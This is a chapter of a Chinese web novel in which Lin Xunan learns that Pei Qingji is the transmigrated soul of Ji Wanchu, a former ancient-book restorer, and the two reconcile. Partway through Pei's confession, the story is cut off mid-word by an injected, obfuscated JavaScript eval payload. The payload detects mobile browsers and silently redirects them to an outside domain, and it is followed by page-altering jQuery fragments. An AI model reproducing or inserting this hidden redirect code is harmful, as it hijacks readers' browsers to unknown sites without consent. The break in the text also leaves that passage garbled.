冬日暖阳，斜斜地洒在客厅的餐桌上，像给桌上铺了一层温暖的浅金色滤镜。
裴青寂今天心情很好。
难得地煮了咖啡，还做了两份精致的漂亮饭——烤得恰到好处的面包，微微流心的煎蛋，旁边配着切得整整齐齐的水果块，看上去几乎可以媲美高级酒店里的摆盘。
可他等了很久，都没有看见林序南从房间里出来。
钟表的秒针一格一格走过，咖啡机的滴答声早已经停了下来，阳光也从浅金色变成了带点炽热感的白。
等到十点，裴青寂才垂下眼帘，默默吃完了自己的那份，把林序南的那份留在桌子上，收拾了自己的杯子和盘子，转身去了书房。
他戴上眼镜，坐在桌前，一边翻看电脑上的资料，一边在纸上写笔记。
笔尖摩擦纸面的细碎声音，在安静的房子里显得格外清晰。
林序南醒来的时候，已经快到中午了。
他睁开眼，盯着天花板，感觉脑子还在隐隐作痛，他其实不记得自己是什么时候睡着的，昨晚的思绪纠缠成一团乱麻，像缠绕在一起的毛线，拉扯不得，剪断不了。
他慢慢坐起身，手指捏住鼻梁揉了揉，长长地吐出一口气，整个人都带着一股没睡够的疲惫。
他揉着太阳穴，走出房间。
阳光一下子扑进眼里，明亮得让人微微眯起眼。
他看见餐桌上那份已经凉透的早餐，咖啡杯里还冒着一丝淡淡的热气，空气中咖啡微苦的香味和水果甜甜的气息混在一起，柔和得有些过分。
他的脚步在那一瞬间顿了顿，心里忽然冒出一点没来由的暖意，柔软得让人有点无措。
他盯着那盘被细心摆好的水果块，忽然觉得——
这个人，也有点可爱。
他在桌前坐下，端起杯子，抿了一口已经凉到发苦的咖啡。
冰凉的咖啡在舌尖炸开，苦味直直的窜进喉咙，他皱了下眉，一瞬间的清醒。
然后他猛地站起身，几乎是毫不犹豫地转过身，朝书房走去。
他心里有点急，甚至不知道自己到底在急什么。
只是想现在。
立刻。
他想见到裴青寂。
***
书房的门被轻轻推开，冬日的冷空气顺着门缝灌了进来，带着外面阳光的味道。
裴青寂听见脚步声，却没有抬头，只是继续在纸上写着密密麻麻的笔记。
那脚步停在门口，没有再往前。
林序南站了很久，影子被阳光拉长，落在地板上，越过门槛，碰到他的脚边。
裴青寂正准备抬头，就听见林序南张了张嘴，低声叫出了那个几乎不可能，却又是唯一可能的名字。
“纪晚楮？”
裴青寂手里的笔，重重地顿了一下，笔尖在纸上划出一道深深的划痕，墨迹渗进纸张的纤维里，像一条无法抹去的裂缝。
两个人相顾无言，书房里静得只能听见时钟滴答作响，秒针每走一步，都像在催促谁先开口。
林序南靠在门边，眉梢微挑，眼底闪过一丝复杂的笑意。
他的声音有些干涩，但能听得出，那语气里带着难得的轻松，像是终于松了口气。
“你……是不是纪晚楮？”
裴青寂抬眼看着他，神情平静，眼神里却带着一点笑意，没有丝毫意外，“你终于想问我了？”
林序南嗤笑一声，挑起一边眉毛，“你终于想说了？”
“一直也没有不想说。”裴青寂低下头，指尖轻轻敲了敲笔杆，睫毛投下的阴影在脸上微微颤动，带着一点近乎无奈的笑意，“只是……不知道怎么开口。”
“我也没有不想问，”林序南笑了一下，耸了耸肩，配合地回答，“只是不知道怎么问。”
他们的视线在空中碰撞，像两把锋利又温柔的剑，轻轻磨着对方，却都不愿真正划破对方的皮肉。
这种荒唐到无法用常理解释的真相，就这样悬在他们之间，像一层透明的薄雾，隔开他们，却又模糊了所有防备。
而如今，终于被摊在了阳光下。
“这件事……太荒唐了。“裴青寂摇摇头，轻轻笑了一声，眉眼间带着一种放下后的平静。
“如果排除了所有的不可能，那剩下的就算是不可能，也是事实。”林序南走进书房，随手关上了门，“所以，你是怎么……变成裴青寂的？”
裴青寂没有立刻回答。
他放下笔，起身，绕过书桌，走到书房另一侧的沙发前坐下。
他抬起手，轻轻拍了拍自己身边的位置，唇角带着一丝似有若无的笑意。
“来吗？”
林序南看着他，嘴角微微翘了翘，他踢掉鞋子，盘起腿坐到裴青寂身边，转过身面对着他。
裴青寂低头看了一眼，眉心微微皱起，伸手从沙发旁拿起一条浅灰色的毛毯，轻轻搭在他腿上，又细心地把毛毯边角掖好。
“别着凉。”
他的语气很轻，指尖在林序南的膝盖上停了片刻，轻轻拍了拍，才收了回来。
“让我想想。”他深吸了一口气，声音低而温和，带着一点玩笑般的轻叹，“从哪里说起呢。”
“想到哪里说哪里，”林序南的声音轻轻的，他的脸上没有笑容，但是眼神里却是十足的真诚，“只要你愿意说，我就愿意听。”
裴青寂垂下眼眸，收起了笑容，慢慢地开始回忆，“我其实，叫做纪晚楮。”
裴青寂轻轻地笑了一下，声音像落在深井里的水珠，听不出起伏，却带着一丝空洞的回响。
他说完这句话，忽然低下头，笑得很轻，像是缓解一下气氛，又像是在嘲笑自己。
“上辈子，我可是全国最年轻的古籍修复技艺传承人呢。”
他抬起眼，看向远处的落地窗外，阳光正好，照进来，打在他的侧脸上，明明那么暖的颜色，却衬得他的皮肤有些苍白。
“当时啊，我以为，我真的可以把古籍修复做到所有人都知道，让所有人都能看到古籍修复的意义，让那些沉睡几百上千年的纸页，再次在阳光下呼吸。”
他笑了笑，指尖在膝盖上慢慢摩挲，指节因为用力而微微发白。
“可惜啊，烟花易冷，好景不长。”
他的声音平静到没有一丝波澜，仿佛在讲一个再普通不过的故事。
“我经手的项目，被突然叫停了，资金撤了，人也撤了。修复室关门的那天，我看着那些被我当成宝贝一样呵护的古籍，一本本被封进暗无天日的仓库，连最后一眼都没能好好看清。”
他说到这里，微微停了停，呼吸很轻很浅，像是怕惊扰了什么痛苦的回忆。
“可那时候的我啊，怎么可能甘心呢？”
“我拿着我的项目计划书，挨家挨户地去敲门，去谈，去求，去告诉他们，这些古籍不能丢，不能被忘记。我想让他们看到古籍修复的意义和价值，可没有人看得到。他们只是看着我，摇头，冷笑，指着我说我是个彻底失了心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053262|175560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
智的疯子。”
裴青寂低笑了一声，笑声干净，却带着一丝几乎听不见的颤。
“其实那段时间，我也在想……人啊，真的脆弱，脆弱到连自己想保护的东西都保护不了。”
“也是在那个时候……我父亲去世了。”
他说到这里，语气忽然放得很轻，轻得像羽毛落地。
“他在临终前，还在指责我，骂我没用，骂我丢人……可他不知道，那时候的我，早就是强弩之末了。”
“我靠着药物维持着我的抑郁症，靠着安眠药才能勉强睡那么几个小时，然后醒过来，擦干脸，再去敲那些永远不会为我打开的门。”
裴青寂想起自己曾据理力争地告诉他们——“你看过古籍的纤维、墨迹、描金、钩银吗？那些用指腹轻抚才能感知的温度，数字化的新科技能保存几分？”
可得到的回答却是：“别说这些没用的。项目撤了，你也别折腾了，年轻人换个活法吧。”
他笑了笑，抬手揉了揉眉心，笑声带着令人发冷的破碎。
“可我真的没有办法，一条路走到黑，前面没有灯，也没有人，只有我自己。”
“再到后来，我就被发配到了一个偏远的图书馆，说是‘顾念旧情’，那个时候，我才只有34岁，没有人想见到我，也没有人需要我，我也没有能力再离开。”
“那地方整天都散发着霉味，空气潮得像能挤出水。我每天唯一能做的，就是喝酒，让自己晕乎乎的，好不去想那些救不了的书，和我修不好的自己。”
他的声音慢慢变得轻了，轻到像要消散在空气里。
“直到有一天，我醉倒在那满是霉味的书堆里，再醒来……”
他停住，抬眼看向林序南，唇角微微翘起，眼神澄澈，却又带着说不清的荒凉。
“我就成了现在的裴青寂。”
“后悔吗？”
林序南静静看着他，眼底的光像深海，没有涟漪，也没有尽头。
“世道毁我，我亦无悔。”
裴青寂的声音平静极了，语气里听不出一点起伏，但那份无声的决绝，却像藤蔓见缝插针地攀爬，将那份孤勇藏在了字里行间。
“你这种情况，好像动漫小说里的男主，天降大任，受尽了屈辱虐待，但是自强不息，最后逆风翻盘。”林序南忽然弯了弯唇角，眨了下眼睛，带出一点轻佻的调侃。
裴青寂无奈地笑了声，报复性地揉了揉林序南的头发。
“我又不是中国近代史纲要。”
这话一出口，林序南没忍住，笑出声来，笑得肩膀一抖一抖的，整个人歪在沙发上，抬手捂着肚子。
裴青寂就那么看着他，眼神在那一刻柔软得不像话。
明明刚才还在谈生死，但现在他却觉得，眼前这个人笑起来的样子，像极了冬日里微弱却温暖的阳光。
可没过多久，他看到林序南的眼睛里，忽然涌出了泪水。
那眼泪来得突然，却又悄无声息，顺着睫毛滑下来，在阳光下闪着细小的光。
裴青寂吓了一跳，想伸出手去擦，动作小心翼翼，指腹刚碰到林序南的脸颊，还没来得及擦干净，那双手却被他猛地拉住。
下一秒，他整个人被林序南抱进了怀里。
林序南的手环在他的脖子上，几乎像是要把他整个人揉进身体里。
裴青寂听见他贴在耳边的声音，低低的，带着一点沙哑，却格外清晰。
“我不会……再让你输第二次了。”